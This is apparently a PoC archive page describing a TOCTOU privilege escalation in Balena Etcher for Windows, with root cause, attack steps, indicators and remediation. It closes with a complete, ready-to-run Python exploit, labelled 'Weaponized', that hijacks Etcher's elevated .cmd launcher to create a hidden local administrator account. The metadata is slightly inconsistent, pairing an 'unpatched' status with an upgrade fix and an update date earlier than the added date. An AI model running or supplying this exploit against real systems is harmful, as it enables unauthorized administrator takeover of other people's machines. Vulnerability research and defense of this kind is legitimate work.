PoC Archive PoC Archive
High CVE-2026-30332 unpatched

Balena Etcher Windows TOCTOU Privilege Escalation — CVE-2026-30332

by B1tBreaker · 2026-07-05

Severity
High
CVE
CVE-2026-30332
Category
binary
Affected product
Balena Etcher for Windows
Affected versions
Prior to 2.1.4
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherB1tBreaker
CVE / AdvisoryCVE-2026-30332
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagstoctou, windows, uac, privilege-escalation, balena-etcher, race-condition, temp-file
RelatedN/A

Affected Target

FieldValue
Software / SystemBalena Etcher for Windows
Versions AffectedPrior to 2.1.4
Language / PlatformPython 3 (PoC), Windows
Authentication RequiredLocal-only (standard/medium-integrity user)
Network Access RequiredNo

Summary

Balena Etcher for Windows writes a temporary .cmd script (containing environment variables and the command to launch etcher-util.exe) to a user-writable temp directory and then executes it with elevated privileges via a UAC prompt. Because there is a time gap between the file being created and being executed, and Etcher performs no integrity check on the script before running it, a medium-integrity process monitoring the same directory can overwrite the .cmd file with malicious commands in that window. Once the user accepts the UAC prompt, the attacker’s injected commands run with high-integrity/elevated privileges — in this PoC, creating and elevating a new local administrator account.


Vulnerability Details

Root Cause

Time-of-check to time-of-use (TOCTOU) race condition: Etcher creates a .cmd launcher script in a user-writable temp folder (%LOCALAPPDATA%\Temp\etcher\) and later executes it elevated via UAC without validating its integrity/contents at execution time.

Attack Vector

  1. Attacker (as a normal, medium-integrity user) runs a monitoring script that watches %LOCALAPPDATA%\Temp\etcher\ for files matching balena-etcher-electron-*.cmd.
  2. Victim launches Balena Etcher, selects an image and target device, and clicks “Flash,” which causes Etcher to write the temporary .cmd launcher.
  3. The monitoring script detects the new .cmd file and immediately overwrites it, appending malicious commands (e.g. net user/net localgroup administrators to create a new admin account) before the legitimate etcher-util.exe invocation.
  4. Victim accepts the resulting UAC elevation prompt, believing it to be from Etcher; the tampered script executes with high integrity, running the attacker’s injected commands as well as the original Etcher utility.

Impact

A medium-integrity local process/user can escalate to a high-integrity/administrator context by hijacking the elevation Etcher itself requests, including creating a new local administrator account.


Environment / Lab Setup

Target:   Balena Etcher for Windows < 2.1.4
Attacker: Python 3 (glob/os/time), local Windows user session

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
python exploit.py
:: then launch Balena Etcher, select an image/device, click Flash, and accept the UAC prompt

The script polls the Etcher temp directory for newly created .cmd launcher files and, once detected, overwrites them with a payload that creates a new local administrator account (exploitUser) before the original elevated command runs.


Detection & Indicators of Compromise

Signs of compromise:

  • New unexpected local administrator accounts (e.g. exploitUser) appearing after using Etcher
  • File modification timestamps on %LOCALAPPDATA%\Temp\etcher\*.cmd inconsistent with Etcher’s own process activity
  • A background/monitoring process with a handle open on the Etcher temp directory

Remediation

ActionDetail
Primary fixUpgrade Balena Etcher to 2.1.4 or later
Interim mitigationAvoid running Etcher on multi-user or shared systems where untrusted processes could run concurrently; restrict write access to the user temp directory where feasible

References


Notes

Mirrored from https://github.com/B1tBreaker/CVE-2026-30332 on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()